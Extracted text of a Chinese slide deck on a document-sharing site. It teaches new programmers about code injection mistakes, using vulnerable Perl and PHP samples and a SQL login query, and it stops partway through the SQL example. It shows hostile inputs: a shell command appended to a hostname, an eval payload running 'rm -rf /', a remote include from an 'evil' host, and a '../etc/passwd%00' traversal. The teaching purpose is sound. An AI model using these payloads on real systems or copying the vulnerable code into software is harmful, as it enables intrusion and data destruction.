欢迎来到天天文库
浏览记录
ID:36916747
大小:262.41 KB
页数:18页
时间:2019-05-10
《《程序代码注入》PPT课件》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、程序员疫苗:代码注入几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。Shell注入我们先来看一段perl的代码:useCGIqw(:s
2、tandard);$name=param('name');$nslookup="/path/to/nslookup";printheader;if(open($fh,"$nslookup$name
3、")){ while(<$fh>){printescapeHTML($_);print"";}close($fh);}如果用户输入的参数是:coolshell.cn%20%3B%20/bin/ls%20-l那么,这段perl的程序就成了:/path/to/nslookupcoolshell.cn;/bin/ls-l我们再来看一段PHP的程
4、序$myvar='somevalue';$x=$_GET['arg'];eval('$myvar='.$x.';');“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10;system('rm-rf/')“,后面的”system('rm-rf/')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm-rf/,你懂的,可参看“一个空格引发的悲剧”)PHP代码再来看一个PHP的代码$isadmin=false;......foreach($_GETas$key=>$value){$$key
5、=$value;}如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值“1″,然后攻击值就取得了网站应用的admin权限了。PHP示例$action='login';if(__isset($_GET['act']))$action=$_GET['act'];require($action.'.php');这个代码相当危险,攻击者有可能可以干这些事:/test.php?act=http://evil/exploit-注入远程机器上有漏洞的文件。/test.php?act=/home/www/bbs/upload/ex
6、ploit-从一个已经上载、叫做exploit.php文件运行其代码。/test.php?act=../../../../etc/passwd%00-让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非.php结尾文件。(PHP默认值”magic_quotes_gpc=On”可以终止这种攻击)这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start
7、()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的。SQL注入SQLinjection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。在应用程序中若有下列状况,则可能应用程序正暴露在SQLInjection的高风险情况
8、下:在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接MicrosoftSQLServer数据库)。在数据库中开放了不必要但权力过大的功能(例如在MicrosoftSQLServer数据库中的xp_cmdshell延伸预存程序或是OLEAutomation预存程序等)过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。例程某个网站的登录验证的SQL查询代码为strSQL="SELECT*FROM
9、usersWHERE(name='"+userName+"')and(pw='"+passWord+"');"用户在登录时恶意输入如下的的用户名和口令
此文档下载收益归作者所有